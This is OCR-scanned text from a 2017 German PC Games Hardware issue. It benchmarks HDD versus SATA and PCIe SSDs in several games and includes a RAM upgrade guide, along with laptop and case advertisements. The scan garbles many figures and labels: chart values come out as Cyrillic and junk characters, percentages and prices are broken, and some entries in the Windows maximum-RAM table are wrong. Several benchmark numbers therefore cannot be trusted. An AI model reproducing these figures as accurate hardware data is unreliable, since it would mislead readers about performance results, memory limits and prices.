SATA-SSD E 17,9 (-24%) 
PCI-E-SSD ER 17,4 (-26%) 
Zweites Laden des Spielstands 
HDD NENNEN 145 (Basis) 
SATA-SSD mr 14,3 (-190) 
PCI-E-SSD ERU 13,7 (-6%) 


bis in eine Höhle. In deren Eingang von uns provoziert. Das Spiel auf ` system: Core i7-6900K @ 4,0 GHz Gigabyte GTX 1080 G1 Gaming, MSI X99A Gaming BEES 
endet die Messung nach guten 70 eine PCIe-SSD zu legen, ist definitiv Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSSDSTA80GB), OCZ < Besar 
Sekunden: Die Szene sorgt füreine иёһгйоць. RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 
RotTR — HDD versus SATA-SSD RotTR — SATA-SSD versus PCI-E-SSD 
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Zeit in Sekunden 


Zeit in Sekunden 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- 


2001FASS), Muskin Striker (MKNSSDSTA80GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: O-FT: 11,12 ms; 1-Percentile: 17,32 ms; SATA-SSD: Ø-FT: 11,1 ms; 1-Percentile: 16,5 ms 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X994, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: SATA-SSD: @-FT: 11,1 ms; 1-Percentile: 16,5 ms; PCle-SSD: @-ЕТ: 11,1 ms; 1-Percentile: 16,4 ms 


www.pcgameshardware.de 


04/17 | PC Games Hardware 13 


SPECIAL | HDD vs. SSD und die Auswirkungen in Spielen 


Battlefield 1 


Ladezeiten in Battlefield 1 (MP) 


Spielstart nach Klick auf Ausführungsdatei 
HDD sl 35,2 (Basis) 
SATA-SSD mÇ 34,3 (-3%) 
РСІ-Е-550 i a_—wsñ 7 (1090) 
Erstes Laden des Spielstands 
HDD s 38.2 (Basis) 
SATA-SSD 26,5 (31%) 
PCI-E-SSD ERE 22,6 (-41%) 
Zweites Laden des Spielstands 
HDD aw 26,2 (Basis) 
SATA-SSD Ew 15,7 (-40%) 
PCI-E-SSD aww 14,4 (-45%) 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, MSI X99A Gaming 
Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSSDST480GB), 0CZ 
RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 


Sekunden 
< Besser 


as Multiplayer-Spektakel 

Battlefield 1 gehört aktuell zu 
den technisch fortschrittlichsten 
Spielen überhaupt. Die genutzte 
Frostbite-Engine zaubert die in 
Teilen zerstörbaren Schlachtfelder 
des Ersten Weltkrieges mit einer 
beeindruckenden Detaildichte, 
hochauflösenden und plastischen 
Texturen sowie einer sehr hohen 
Sichtweite auf den Schirm. Dazu 
liefert die Engine eine beeindru- 
ckende Performance, solange ge- 
nügend Ressourcen zur Verfügung 
stehen. Im Einzelspieler-Modus 
liegt insbesondere die Grafiklast im 
Vordergrund, in den chaotischen 
Mehrspieler-Gefechten auf den 
großen offenen Maps indes wird 
auch die CPU stark gefordert. Zu- 
dem profitiert Battlefield 1 von viel 
Hauptspeicher und läuft erst mit 16 
GiByte richtig rund. 


Der Benchmark 

Benchmarks im Multiplayer-Modus 
von Battlefield 1 sind recht schwie- 
rig anzufertigen, der hohe Chaos- 
faktor auf vollen 64-Spieler-Servern 
torpediert insbesondere 
Frametime-Messungen und ist da- 


feine 


her für solch präzise Vergleichs- 
messungen nicht geeignet. Auf lee- 
ren Servern ist die CPU-Last zwar 
deutlich höher als im Einzelspieler- 
Modus, doch hier können wir keine 
der im Mehrspielermodus auftre- 
tenden, sehr hohen Lastszenarien 
unter die Lupe nehmen. Dennoch 


wählen wir auch dieses Mal das 
Kompromiss-Szenario. Die Karte 
Amiens bietet schon auf leeren Ser- 
vern eine hohe Mischlast und da- 
mit für aussagekräftige Messungen 
eine gute Voraussetzung. Auch ist 
die Reproduzierbarkeit dank dem 
Entfallen des Chaosfaktors durch 
Mitspieler gegeben. 


Unsere Ergebnisse werden wohl 
den einen oder anderen überra- 
schen - auch wir haben nicht mit 
einer dermaßen ähnlichen Perfor- 
mance gerechnet: Egal ob Battle- 
field 1 auf der HDD, der SATA- oder 
der per PCIE angebundenen SSD 
installiert ist, die Frametime-Mes- 
sungen sind quasi deckungsgleich. 
Die Unterschiede sind so minimal, 
dass sie beim Spielen nicht ins 
Gewicht fallen. Wir hegen aller- 
dings die Vermutung, dass einige 
bestimmte  Spielsituationen, die 
ein Nachladen eines Objekts oder 
Effekts voraussetzen, Vorteile für 
die SSDs bringen kónnten - bei- 
spielsweise bei einem plótzlichen 
Granateinschlag und den daraufhin 
spawnenden Trümmerstücken. Au- 
fserdem kónnte eine Wechselwir- 
kung mit nur wenig Hauptspeicher 
entstehen (8 GB oder weniger), da 
Battlefield 1 beim Laden des Spiels 
offenbar sehr viele benótigte Da- 
ten im RAM ablegt, sofern dieser 
ausreicht. Tut er dies nicht, kónnte 
es in Verbindung mit einer HDD zu 
empfindlichen Stockern kommen. 


Battlefield 1 (MP) – HDD versus SATA-SSD 


Battlefield 1 (MP) — SATA-SSD versus PCI-E-SSD 
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System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X994, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: Ø-FT: 8,0 ms; 1-Percentile: 10,1 ms; SATA-SSD: Ø-FT: 8,0 ms; 1-Percentile: 9,9 ms 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, ХЭА, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: SATA-SSD: Ø-FT: 8,0 ms; 1-Percentile: 9,9 ms; PCle-SSD: @-FT: 7,9 ms; 1-Percentile: 9,8 ms 
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ANZEIGE 


PUGH-Laptops 


MIT GEFORCE GTX 1070 UND GTX 1060 


chenker Technologies mit der Mar- 
Si XMG bietet optimale Konfigura- 
tionsmöglichkeiten, wenn es darum geht, 
einen Gaming-Laptop zusammenzustel- 
Die XMG-PCGH-Laptops gibt es 
zum tollen Vorteilspreis. Wenn Ihnen die 
Größe der SSD, der Festplatte oder des 
Arbeitsspeichers nicht zusagt, können Sie 


len. 


diese Bauteile vor der Bestellung einfach 
über den Laptop-Konfigurator ändern. 


Doch beginnen wir zunächst mit dem 
XMG P507 PCGH-Edition. Dieses Gerät 
verfügt über einen 15,6-Zoll-Full-HD-Bild- 
schirm und ist mit einem Core i7-6700HQ 
und einer Geforce GTX 1060 mit 6 GB 
Das XMG P707 PCGH- 
Edition nutzt einen größeren 17,3-Zoll- 
Bildschirm. Ab sofort gibt es das P707 mit 
dem brandneuen Kaby-Lake-Prozessor 
Core i7-7700HQ. Als Grafikkarte wird die 
Geforce GTX 1070 mit 8 GB verbaut. In 
unserem Witcher-3-Benchmark steigt die 
Leistung im Vergleich zum GTX-1060-Ge- 
rät beispielsweise um 57 Prozent. Beide 


ausgestattet. 


Laptops verfügen über ein hochwertiges 
Gehäuse, das überwiegend aus Metall 
besteht. Neu sind bei den XMG-Geräten 
die Multicolor-Tastaturen, deren Beleuch- 
tung sich in drei Zonen individuell einstel- 
len lässt. Mehr Infos erhalten Sie unter: 


www.pcgh.de/xmg (dw) 


Vorteile PCGH-Edition 


Reden für das PCGH-Online-Abo 
(365-Tage-Zugang) 


inside" 
ind 


Produkt 


Hersteller/Bezugsquelle 


XMG P507 
PCGH-Edition 
Schenker (www.pcgh.de/xmg1) 


XMG P707 
PCGH-Edition V2 
Schenker (www.pcgh.de/xmg2) 


Erweiterte Informationen 


Ausstattung 
Prozessor 


www.pcgh.de/p507 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


www.pcgh.de/p707 


Intel Core i7-7700HQ 
(2,8 bis 3,8 GHz, 4 Kerne/8 Threads) 


Grafikeinheit 


Nvidia Geforce GTX 1060 (6 GB) 


Nvidia Geforce GTX 1070 (8 GB) 


LCD 


15,6 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel) 


17,3 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 


256 GByte (Samsung SM961-NVMe) 


512 GByte (Samsung SM961-NVMe) 


HDD-Laufwerk 


Optisches Laufwerk 


1.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


Speicher 


16 GB DDRA4-2400 (Ballistix) 


16 GB DDRA4-2400 (Ballistix) 


Akku/Gewicht 


60 Wattstunden/2,92 kg 


60 Wattstunden/3,36 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD- Webcam, 
Fingerprint 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD-Webcam, 
Fingerprint 


Soundchip 


Sound Blaster X-Fi 5 


Sound Blaster X-Fi 5 


Anschlüsse 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhörer, 
1 x Mikrofon in, 1 x S/PDIF) 


Abmessungen (B x T x H) 
|Leistung** 


385 x 271x25 mm 


417 x 287 x 30 mm 


Lautstárke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) 
Lautstárke 3D (0,5 m) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 20 Watt/107 Watt 26 Watt/153 Watt 

3D Mark (Fire Strike) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (B), 12.713 (S) 
Battlefield 1/The Witcher 3 63 Fps/37 Fps 65 Fps/58 Fps 


Stalker: Call of Pripyat 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


Cinebench R11.5 x64 (CPU) 7,43 Punkte 7,40 Punkte 
Akkulaufzeit 2D 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 
PREIS ear,- 
ohne Betriebssystem* €1.579,- €2.379,- 
PREIS €2.499,- 


mit 64-Bit-Betriebssystem* 


€1.699,- 
(inkl. Windows 10 Home) Eror,- 


(inkl. Windows 10 Home) 


© 3D-Performance der GTX 1060 
© Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle Geforce GTX 1070 und G-Sync 
© Neuer i7-7700HQ, große 512-GB-M.2-SSD 
© Hörbare Lüfter im 3D-Betrieb 


* Preiserfassung und Produktdaten vom 16.01.2017, unter www.pcgh.de/mysn finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben 


Windows auch sämtliche Treiber installiert und das Notebook ist sofort einsatzbereit. 


**Verringerte Leistung im Akkubetrieb 


SPECIAL | HDD vs. SSD und die Auswirkungen in Spielen 


Call of Duty: Infinite Warfare 


Ladezeiten in CoD: Infinite Warfare 


Spielstart nach Klick auf Ausführungsdatei 


HD 
SATA-SS 
PCI-E-SS 


D 13,7 (-42%) 
D ПИН 123 (-48%) 


Erstes Laden des Spielstands 


HD 
SATA-SS| 
PCI-E-SS 


D Walla 3,4 (-57%) 
D Fee 1,6 (-61%) 


Zweites Laden des Spielstands 


HD 
SATA-SS| 
PCI-E-SS 


D EE, (459) 
D NN 7 8 (50) 


D EEUU 236 (Basis) 


D 10,6 (Basis) 


D НЕНИ 155 (Basis) 


System: Intel Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming/8G, MSI X99A 
Gaming Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSS- 
DST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 


Sekunden 
< Besser 


as aktuelle Call of Duty er- 

freute sich zwar nicht allzu 
grofšer Beliebtheit, ist jedoch eine 
interessante Ergänzung für diesen 
Artikel. Denn zum einen beträgt 
der Umfang des Spiels ohne zusätz- 
liche DLCs massive 82 GiByte und 
suggeriert damit einen potenziell 
hohen Anspruch an den Daten- 
transfer unseres Testsystems, zum 
anderen bekam die Engine ein 
streamingspezifisches Upgrade. 
Die verbesserte Infinity-Ware-En- 
gine (TW) macht in Infinite Warfare 
einen ordentlichen, jedoch auch 
etwas biederen und angestaubten 
Eindruck. Auffällig sind die hohe 
Speicherlast und die verhältnismä- 
ßig hohen Anforderungen an die 
CPU. Generell sind die Streaming- 
Anforderungen recht hoch, insbe- 
sondere bei hohen Bildraten und 
schnellen Szenen. 


Der Benchmark 

Für unsere Messungen haben wir 
uns genau solch eine Szene ausge- 
sucht: Wir wählen den Anfang der 
Mission Hafenrüstung (Port Ar- 
mor). Hier läuft ein für Call of Duty 
typisches, halbinteraktives Skript- 
feuerwerk ab. Mit unseren Mitstrei- 
tern jagen wir mit einem Buggy 
über die Mondoberfläche, an Dut- 
zenden Explosionen vorbei und 
krachen schlussendlich mitsamt 
dem Gefährt durch ein Fenster und 
landen im Inneren der umkämpf- 
ten Station. Der effektvolle und 


fordernde Benchmark läuft gute 60 
Sekunden und zeigt das Spiel op- 
tisch von seiner besten Seite. 


Technisch gibt es einige Auffällig- 
keiten, darunter beispielsweise 
recht kräftige Stocker. Während 
der Messungen stürmt die GTX 
1080 in Full HD eigentlich konse- 
quent in das bei 125 Fps abriegeln- 
de Bildraten-Limit, jedoch kommt 
die Streaming-Engine offenbar 
nicht immer hinterher - zugege- 
ben: Es handelt sich um eine sehr 
aufwendige und schnelle Szene, die 
Ruckler treten aber auch beim nor- 
malen Spielen hin und wieder auf 
und zeigen sich hier nur gehäuft. 
Schlüsseln wir unsere Messdaten 
auf, so zeigt die HDD das schlech- 
teste Ergebnis: Mehrere Stocker in 
der 60-ms-Größenordnung sowie 
weitere zwischen 30 und 40 ms 
sind während des Spielens deutlich 
zu spüren. Etwas besser wird es mit 
der SATA-SSD, hier entfallen zumin- 
dest die allergrößten Stocker, viele 
kleine trüben jedoch noch immer 
den Genuss. Diese verschwinden 
fast gänzlich mit einer PCI-E-SSD, 
leider bleiben aber einige gröbere 
Ruckler bestehen. Offenbar ist das 
Streaming der Engine in unserer ac- 
tionreichen und schnellen Bench- 
mark-Szene einfach etwas überfor- 
dert. Trotzdem erstaunlich: In Call 
of Duty: Infinite Warfare bringt 
die PCI-E-SSD den deutlichsten Ge- 
schwindigkeitsboost im Test. (pr) 


Call of Duty: IW — HDD versus SATA-SSD 


Call of Duty: IW — SATA-SSD versus PCI-E-SSD 


1.920 x 1.080, „Port Armor” max., Filmic SMAA 2Tx, Schatten-Cache aus 
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И 
, 
. | 
„| || 


20 


Frametimes in Millisekunden 


W SATA-SSD 
E PCI-E-SSD 


0 10 20 


Zeit in Sekunden 


30 40 50 60 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: Ø-FT: 8,04 ms; 1-Percentile: 16,72 ms; SATA-SSD: Ø-FT: 8,04 ms; 1-Percentile: 16,36 ms 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X994, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: SATA-SSD: Ø-FT: 8,04 ms; 1-Percentile: 16,36 ms; PCle-SSD: Ø-FT: 8,0 ms; 1-Percentile: 13,8 ms 
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Thermaltake 


4 


YOUR WINDOW 
INTO-ANOTHER WORLD 


Thermaltake-Komponenten sind erháltlich bei: 
www.alternate.de * www.amazon.de * www.caseking.de * www.conrad.de * www.cyberport.de 
www.kmcomputer.de * www.notebooksbilliger.de * www.snogard.de * www.technikdirekt.de 
... und in vielen weiteren Shops 
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Richtig aufrüsten im Jahr 2017 


А ist das Віпае- 
glied zwischen dem Haupt- 
prozessor mit ein paar Megabyte 
blitzschnellem Cache und Daten- 
speichern wie Festplatten und 
SSDs mit Hunderten oder Tausen- 
den Gigabyte, aber geringerer Ge- 
schwindigkeit. Hier werden Daten 
vorrätig gehalten, die bei Bedarf 
schnell ausgelesen oder verändert 
werden müssen. 


DDR-Grundlagen 

Seit über 15 Jahren kommen un- 
terschiedliche Ausbaustufen von 
DDR-SDRAM zum Einsatz. Der Na- 
mensbestandteil RAM (Random- 
Access Memory) weist darauf hin, 
dass auf den gesamten Speicher mit 
nahezu identischer Geschwindig- 
keit zugegriffen werden kann. Syn- 
chronous Dynamic RAM ist an den 
Systemtakt (in einem bestimmten 
Verhältnis) gekoppelt und bietet 
einen getrennten Daten- und Steu- 
erbus. Bei der Ausbaustufe DDR- 
SDRAM werden sowohl die steigen- 
de als auch die fallende Flanke des 
Taktsignals zur Datenübertragung 
genutzt, die Rohleistung verdop- 
pelt sich - man spricht von Double 
Data Rate (DDR). DDR-Module tak- 
ten also nicht hóher, sondern über- 
tragen doppelt so viele Daten pro 
Takt. Wundern Sie sich daher nicht, 
wenn Software wie CPU-Z den Takt 
eines DDRÁ-2400-Moduls nur mit 
1.200 MHz angibt. Der DDR-Wert 
ist nämlich nur eine effektive Tak- 
trate, die angibt, mit wieviel Mega- 
hertz ein SDRAM-Modul ohne DDR- 
Technik laufen müsste. 


DDR3-RAM ist seit rund 10 Jahren 
im Handel und dementsprechend 
weit verbreitet. Seit 2014 ist die ak- 
tuelle Ausbaustufe DDR4 erhältlich, 
die eine Reihe von Verbesserungen 
bietet. Für PC-Spieler ist vor allem 
relevant, dass sich mit dem Nach- 
folger hóhere Übertragungsraten 
und Kapazitäten erreichen lassen. 
Während im Desktop-Markt maxi- 
mal 8 GiByte große DDR3-Sticks 
üblich sind, existiert bereits eine 
große Auswahl an 16 GiByte fassen- 
den DDR4-Modulen zu fairen Prei- 
sen. Für das Mobilsegment ist die 
niedrigere Standardspannung ein 
Vorteil, anspruchsvolle Anwender 
freuen sich über das Leistungsplus. 
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Die Plattformen 

Beide Speicherarten sind nicht mit- 
einander kompatibel, Einkerbun- 
gen an der Kontaktleiste verhin- 
dern das Einsetzen in Steckplätze 
für eine andere DDR-Generation. 
Welche der beiden Speicherstan- 
dards für Ihren Rechner infrage- 
kommt, hängt von der Plattform ab: 


I Auf Mainboards mit dem Sockel 
2011-v3 und AM4 lässt sich nur 
DDR4-RAM Dessen 
Standardspannung beträgt 1,20 
Volt, Übertakter-Kits sind typi- 
scherweise für 1,35 Volt ausge- 
legt. 

I Die meisten Sockel-1151-Haupt- 
platinen sind für DDRÁ-RAM aus- 
gelegt. Sowohl Kaby Lake als auch 
Skylake sind aber auch für DDR3L 
freigegeben, also DDR3-Sticks mit 
einer niedrigeren Spannung von 
1,35 Volt. Der Betrieb mit Stan- 
dardmodulen ist möglich, aber 
nicht von der Garantie gedeckt. 
Zudem gibt es nur wenige Main- 
boards mit DDR3-Steckplätzen. 

I Alle älteren AMD- und Intel-Platt- 
formen, etwa die Sockel AM3(+), 
ЕМ2(+), 1150 und 1155, sind für 
DDR3-Module ausgelegt. Deren 
Standardspannung beträgt 1,50 
Volt, Overclocking-Kits sind aller- 
dings üblicherweise für 1,65 Volt 
spezifiziert. 


installieren. 


Grundsätzliches 

Unabhängig vom Speichertyp 
sollten Sie vor dem Kauf folgende 
Fragen klären, bei denen das Hand- 
buch oder die Hersteller-Webseite 
oft weiterhelfen: 


I Wieviele (freie) Steckplätze für 
RAM befinden sich auf der Haupt- 
platine? 

I Überragen Bauteile die Steckplät- 
ze, sodass die Höhe der RAM-Mo- 
dule begrenzt wird? 

I Welche Speichermenge in GiByte 
ist maximal (insgesamt/pro Mo- 
dul) zulässig? 

H Für welche Taktfrequenz sind 
CPU und Mainboard ausgelegt? 

I Gibt es sonstige Beschränkungen, 
etwa bezüglich des internen Auf- 
baus (Memory Ranks pro Modul)? 

I Für Übertakter: Sind die Kompo- 
nenten für RAM-Overclocking ge- 
eignet? 


Neben der Hardware begrenzt 
auch das Betriebssystem die sinn- 
volle RAM-Größe. Das beliebte 
Windows 7 Home Premium unter- 
stützt zum Beispiel maximal 16 Gi- 
Byte - siehe Extrakasten. 


AMDs FX-Serie unterstützt ECC, 
in Desktop-PCs reicht allerdings 
„unbuffered“, „unregistered“ RAM 
ohne ECC aus. Hinter den Begrif- 
fen „fully buffered“, „registered“ 
und ECC stecken Techniken, die 
typischerweise die Datenintegrität 
von Servern mit sehr großen Spei- 
chermengen sicherstellen sollen 
und teilweise obsolet sind. 


Haben Sie freie Steckplätze und 
möchten Sie die RAM-Menge auf- 
stocken, können Sie der Einfach- 
heit halber den aktuell verbauten 
Speicher nachkaufen. Ist bauglei- 
cher Speicher nicht mehr (zu ei- 
nem vernünftigen Preis) erhältlich, 
bietet sich der Griff zu Sticks mit 
möglichst ähnlichen Eigenschaften 
(Taktrate, Kapazität, Spannung, 
Timings, Ranks) an. Im Handbuch 
und auf der Support-Website Ihres 
Mainboards finden Sie üblicher- 
weise Listen kompatibler Speicher- 
module. Deren Relevanz sollten 
Sie aber nicht überbewerten: Für 
Produkttests und Praxisartikel ver- 
wenden wir regelmäßig RAM-Kits, 
die nicht auf diesen Listen stehen. 
Inkompatibilität tritt sehr selten 
auf. Möglich machen es die von 
der Standardisierungsstelle JEDEC 
herausgegebenen Vorgaben zu den 


unterschiedlichen DDR-Generati- 
onen, an denen sich die Herstel- 
ler orientieren. Falls Sie dennoch 
Stabilitätsprobleme haben sollten, 
obwohl Sie kein Overclocking be- 
treiben, dann halten Sie nach einer 
neuen BIOS-Version Ausschau. 


Vorerst keine Schnäppchen 

Seit dem Spätsommer 2016 haben 
sich die Preise für Arbeitsspeicher 
nach oben bewegt und um mehr 
als 50 Prozent zugelegt. Waren 
16-GiByte-Kits Mitte des Jahres für 
unter 60 Euro erhältlich, müssen 
Sie nun ca. 100 Euro für die gleiche 
Kapazität ausgeben. Als Ursache 
gelten eine gestiegene Nachfrage 
für Smartphones und Server. Ge- 
mäß Pei-Ing Lee, Präsident des Spei- 
cherherstellers Nanya Technology, 
ist mit weiteren Preissteigerungen 
bis Mitte des Jahres zu rechnen. 
Falls Sie in den nächsten Monaten 
aufrüsten möchten, zahlt sich War- 
ten also voraussichtlich nicht aus. 


DDR3: Kleinere Auswahl 

Das Ende der DDR3-Ära zeigt sich 
am deutlichsten im High-End-Seg- 
ment: Für DDR3-2666 oder höhere 
Frequenzen spezifizierte Sets sind 
nur noch zu unverhältnismäßig 
hohen Preisen bei immer weni- 
ger Anbietern erhältlich. Falls Sie 
im Gebrauchtmarkt nicht fündig 
werden und ein Wechsel auf eine 
DDR4-Plattform noch nicht infrage 
kommt, dann stellen vorerst DDR3- 
2400-Module die preislich sinnvol- 
le Obergrenze dar. 


Windows: Maximale RAM-Menge versionsabhängig 


Version 32 Bit 64 Bit 
Windows XP (Home/Pro) 4 GiByte 28 GiByte 
Windows Vista Home Basic 4 GiByte 8 GiByte 
Windows Vista Home Premium 4 GiByte 28 GiByte 
Windows Vista Ultimate 4 GiByte 28 GiByte 
Windows 7 Home Basic 4 GiByte 8 GiByte 
Windows 7 Home Premium 4 GiByte 16 GiByte 
Windows 7 Professional 4 GiByte 92 GiByte 
Windows 7 Ultimate 4 GiByte 92 GiByte 
Windows 8(.1) 4 GiByte 512 GiByte 
Windows 8(.1) Professional 4 GiByte 512 GiByte 
Windows 10 Home 4 GiByte 2.048 GiByte 
Windows 10 Pro 4 GiByte 2.048 GiByte 
Anmerkungen: Mit einem 32-Bit-Windows lassen sich in der Praxis abhángig von der 
PC-Konfiguration nur etwa 2,7 bis 3,5 GiByte RAM nutzen. 
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Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Battlefield 1 — 1.920 x 1.080, ,,Amiens Extended”, Ultra, TAA 
60 


50 


40 


E 2 x 4 GiByte DDR4-2800 RAM 
E 2 x 8 GiByte DDR4-2800 RAM 


TE REESEN 


Zeit in Sekunden 


30 


Frametimes in Millisekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz,10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 2 x 4 GiByte — Ø-FT: 8,0 ms; schlechtestes Prozent: 11,5 ms; O-Fps: 125,2; 2 x 8 GiByte — O-FT: 7,9 ms, 
schlechtestes Prozent: 10,9 ms; O-Fps: 126,6 Fps; 16 GiByte bringen recht deutliche Vorteile gegenüber 8 GiByte. 


Ein 4-GiByte-Riegel vs 32 GiByte Quadchannel 


Battlefield 1 — 1.920 x 1.080, „Amiens Extended”, Ultra, TAA 


W 1 x 4 GiByte DDR4-2800 RAM 
E 4 x 8 GiByte DDR4-2800 RAM 


Frametimes in Millisekunden 


Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 1 х 4 GiByte — Ø-FT: 8,5 ms; schlechtestes Prozent: 39,1 ms; O-Fps: 117,6; 4 x 8 GiByte — O-FT: 7,7 
ms, schlechtestes Prozent: 10,1 ms; O-Fps: 129,9 Fps; Mit nur 4 GiByte Arbeitsspeicher ist BF1 kaum genießbar. 


Zweimal 4 GiByte gegen zwei 8-GiByte-Riegel 


Skyrim SE - 1.920 х 1.080, , Whiterun Extended", Ultra inkl. Mods + Tweaks 
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Zeit in Sekunden 


System: i7-6900K @ 4,0 GHz, X99, PNY GTX 1080/8G OC (2.000 MHz, 10 GT/s), Gef. 376.33 WHQL Bemer- 
kungen: 2 x 4 GiByte — O-FT: 16,7 ms; schlechtestes Prozent: 24,8 ms; Ø-Fps: 60,0; 2 x 8 GiByte — @-ЕТ: 16,7 
ms, schlechtestes Prozent: 22,9 ms; O-Fps: 60,0 Fps; Trotz Vorteilen von 16 GiByte ruckelt Skyrim immer ein wenig. 
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Wieviel Speicher? 


ie wichtigste Eigenschaft von 

RAM ist die Kapazität, denn 
sie hat den grófsten Einfluss auf die 
Leistung des gesamten Systems. Bei 
einer zu kleinen Speichermenge 
müssen häufig Inhalte von der SSD 
oder HDD angefragt werden, da 
der Arbeitsspeicher voll ausgelastet 
ist und nicht alle benótigten Daten 
vorrätig halten kann. Da diese Spei- 
chermedien hinsichtlich der Trans- 
ferrate und Zugriffszeit deutlich 
langsamer als Arbeitsspeicher sind, 
bekommen Sie diese Wartezeiten 
bei der Nutzung des PCs zu spüren. 
Bei einfachen Aufgaben wie Inter- 
net-Surfen ist das bei geringer Aus- 
prägung noch zu verschmerzen, 
beim PC-Spielen ist aber schnell die 
Grenze des Erträglichen erreicht: 
Wenn Sie einen Rennwagen mit 
300 km/h in die Bremszone bewe- 
gen oder feindlichem Beschuss aus- 
weichen möchten, können Sie kei- 
nen Nachladeruckler gebrauchen. 


Die richtige Speichermenge 
Zu viel Speicher gibt es daher 
nicht, allerdings müssen Sie für 
mehr GiByte tiefer in die Tasche 
greifen. Zudem kónnen Sie eine 
höhere Systemleistung erzielen, 
wenn Sie Ihr Geld statt in einfach 
Arbeitsspeicher 
(den Sie nicht ansatzweise ausnut- 
zen) in die tatsächlich benötigte 
Kapazität und RAM-Module mit 
besseren Leistungswerten (Takt/ 
Timings) stecken. Zuletzt haben 
wir in der Ausgabe 02/2017 unter- 
sucht, welche Leistungsunterschie- 
de sich durch den Einsatz von 4, 
8, 16 und 32 GiByte RAM in den 
Titeln Battlefield 1, The Division, 
The Witcher 3, Doom und Skyrim 
Special Edition (inklusive Grafik- 
mods) ergeben. Zur Analyse eignen 
sich Frametime-Diagramme am 
besten, da sie kleine Nachladeruck- 
ler gut sichtbar machen, die sich 
in Balken-Benchmarks nur durch 


möglichst viel 


leicht niedrigere Minimum- oder 
Durchschnitts-Fps zeigen. Wenn 
das System innerhalb weniger Mi- 
nuten mehrfach kurz stockt, leidet 
das Spielvergnügen stärker als man 
anhand der durchschnittlich guten 
Framerate vermuten würde. 


Mit 4 GiByte beobachteten wir so 
starke Ruckler, dass kein Spielspaß 


Kein Wunder: Diese 
Speichermenge liegt bereits unter 
der Herstellervorgabe für zahlrei- 
che Spiele. Mit 8 GiByte waren alle 
Titel spielbar, diese Speichermenge 
stellt somit das Minimum dar, das 
in Ihrem PC stecken sollte. Im Di- 
rektvergleich mit 16 GiByte treten 
mit der halben Speicherkapazität 
aber zum Beispiel in Battlefield 1 
mehr Mikroruckler auf. Die Frame- 
time steigt in diesen Fällen auf 20 
bis 25 ms, während die Frametimes 
mit 16 GiByte bei maximal 15 ms 
Verzögerung liegen. Da die größe- 


aufkommt. 


ren Schwankungen mit 8 GiByte 
irritieren, schließen wir uns der 
immer häufiger von Entwicklern 
ausgegebenen Empfehlung an: Mit 
16 GiByte sind Sie in allen aktuellen 
Spielen gut aufgestellt. 


32 GiByte bringen im Direktver- 
gleich mit 16 GiByte kaum Vortei- 
le, auch mit dieser Speichermenge 
können gelegentlich minimale 
Ruckler auftreten. Das liegt dann 
aber nicht an Speichermangel, 
sondern an Eigenheiten der Engi- 
